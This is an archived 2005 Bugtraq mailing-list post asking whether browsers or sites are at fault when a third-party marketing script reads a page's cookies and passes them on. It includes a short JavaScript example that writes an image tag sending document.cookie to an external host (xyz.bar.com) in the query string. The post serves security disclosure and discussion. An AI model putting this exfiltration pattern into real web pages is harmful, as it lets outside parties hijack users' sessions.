[38853] in bugtraq
cross-domain cookie theft: who's to blame?
daemon@ATHENA.MIT.EDU (Tim Tompkins)
Fri May 13 16:29:50 2005
Message-ID: <4283EF9E.5070700@spiderlinks.org>
Date: Thu, 12 May 2005 17:06:54 -0700
From: Tim Tompkins <timt@spiderlinks.org>
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To: bugtraq@securityfocus.com
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Before disclosing the specifics, I'm just wondering wherein the fault lies:
I visited a site, say abc.foo.com that loaded javascript from an
external (marketing statistics) site, say xyz.bar.com. The script from
xyz.bar.com read the cookies set by abc.foo.com and posted them in a
subsequent image tag as part of the query string. Essentially,
xyz.bar.com now has all of my abc.foo.com cookies and could potentially
hijack any cookie-based sessions I had going.
Is this a browser problem, allowing cross-domain scripts to read each
other's cookies, or is this just blatant abuse by abc.foo.com and/or
xyz.bar.com?
Example from abc.foo.com
<html>
<head>
<script language="javascript" src="http://xyz.bar.com/somescript.js">
</head>
[ ... ]
</html>
Example of xyz.bar.com/somescript.js:
document.write('<img src="http://xyz.bar.com/img.gif?cookie=' +
escape(document.cookie) + '">');
Regards,
Tim Tompkins
